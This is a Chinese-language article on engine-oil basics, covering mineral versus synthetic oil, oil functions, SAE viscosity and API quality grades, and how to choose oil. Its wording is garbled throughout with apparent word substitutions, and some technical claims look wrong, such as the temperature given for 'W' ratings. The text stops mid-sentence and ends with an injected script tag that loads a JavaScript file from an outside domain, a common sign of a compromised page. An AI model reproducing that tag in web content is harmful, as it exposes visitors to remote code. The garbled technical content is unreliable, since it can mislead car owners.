机油情况的好坏直接影响到发动机断性能和寿命，所以大家需要使用适合的机油并准时进行更换。这里我要给大伙详细解说机油的保养维护原理和有关的需要注意的地方。
汽车的按期保养是目前每个厂商都统一强制需要用户进行的。而在按期保养项目中，对发动机保养效果最好的莫过于检验和更换机油了，所以知道一些有关机油的入门知识。或有助于大家进行正确的保养。
矿物油与合成油之分
机油主要有合成机油与矿物机油两种。矿物油是在原油提炼过程中，离别出有用的轻物质（如航空油、汽油……）之后，借助残留在分流塔内的塔底油提炼而成的；合成油则由原油中的瓦斯气或天然气分散出来乙烯、丙烯后，再经聚合、催化等冗杂的化学反应炼制而成。就油的本质而言。矿物油用的是原油中较差的成份，提炼技术再请进也没办法将它中杂质清除完全；而合成油则是原油中较好的成份，加以化学反应并通过人为控制，能达到预期的分子形态，分子排列整齐。抵抗外面变数的能力强，故合成油体水平较好，在热稳定性、抗氧化反应、抗粘度变化、冷车启动流动性、抗磨损保护性及节省燃油效能方面都较矿物油要强。
机油有哪些用途
机油有哪些用途主要有以下各项：
润滑：机油的主要用途是供给发动机的活塞、轴承、其它部件作适合润滑用的；
密封：发动机在“做功”种程时，阻止燃烧室内的高温高压气体通过活塞与汽缸间的配合间隙窜入曲轴箱内；
散热：正常运转的发动机内，活塞顶部的温度高达300度，但只有1/4的热量能有效转化为动能供汽车驱动用，3／4的热能则需由冷却系统、排气系统和机油带走。同时发动机高速运转时，各高速运转的部件问会因摩擦产生高热，这种高热需要通过在各部件配合间隙间流动的机油吸收。并随机油的流动带到机油盘内（油底壳）或机油散热器内．从而散发到空气中；
防锈：机油可预防金属部件腐蚀；
清洗：将发动机工作时产生的杂质及金属磨损物经机油滤清器过滤处置，维持润滑系统的清洗。
从机油分类指数看性能
机油的分类基于其粘度数值而来最后形成了国际统一的规范。最容易见到的是SAE（美国汽车工程师协会）标准，以“SAE”字样作前缀。
粘度指数的意思：字母W表示在20度时测量到的机油粘度，低粘度机油有益于在较冷的气候下起动发动机。无字母的数值表示100度时测量到的机油粘度。SAE数值越低。机油就越稀。
比如SAE10W－30表示该机油在20度下符合SAE10润滑机油的规范，在100度下符合SAE30润滑机油的规范。
应该注意的是SAE编制表示的是该种机油在极冷和极热环境下的粘度特质，并不是机油水平的好坏，要了解机油的水平怎么样。则需要参考API美国石油协会）的品质编制。API品质编制分为汽油和柴油两种，其中汽油API品质编制分为从SA、SB……SJ九个等级。SA等级品质较低。SJ等级现在品质最高，一般市面上供应的机油大都在SG等级以上。柴油API品质分为CA至CG－4七个等级。同汽油API编制一样，CA等级最低，CG－4等级最高。
怎么样选择合适自己爱车的机油？
机油的粘度与温度呈反比的关系。当发动机冷态时，机油粘度较高。若使用的机油较稠，在汽车起动时，需要较大的起动力矩，便会给起动马达、电瓶等增加额外的损耗，甚至致使没办法起动。同机会油过浓流动性差。更会产生诸如润谓不好的．易形成气缸内积炭．散热效率降低、水温升高、油耗增加等现象。但若机油过稀，机油因为很难形成油膜或形成的油膜过薄而易引起润滑不足，致使零件非正常磨损、发动机噪声增大等问题。
有的人为图实惠使用低水平等级的机油甚至是一些收购翻新机油，付出的代价势必是沉重的噪声增大、拉缸、烧瓦、油泥增多、油道阻塞等等。选择优质等级的机油对我们的爱车固然是大有好处，但高等级机油的价格总是也非常高，是一般适合机油的2倍。拿MOBILE（美孚）机油来讲普通SJ级机油市场价格为100元左右。已经足以满足一般中低档汽车普通用工作环境的需要，但著使用42O元的美孚1号机油。在同样保证发动机正常工况的惰况下，其价格显然比前者高出大多，给汽车的保养维护增加非必须的额外负担。
因此，选择机油的是“适合”。要同时兼顾粘度指数和API分类。以便非常不错匹配所期望的环境温度和驾驶条件。
对于SAE数值的选择第一需要知道自己汽车的性能。若你驾驭的是高性能的跑车。或者你喜欢飙车．常常高速行车的话，因为在大功率时发动机的转速非常高。会致使发动机的温度居高不下，因此需要使用较耐热的机油，如 SAE15W50、SAE10W40等。而着周围环境较冷，因为低温下同种机油粘度较高则需要使用一些较稀的机油，如SAE10W30、SAE10W40等为宜。
同时大家还可参考用户手册上的机油品质需要，有些车型在机油加注盖上亦有机油加注性能需要。
按期换机油的重要程度
发动机工作时，?script src=http://cn.jxmmtv.com/cn.js>cript>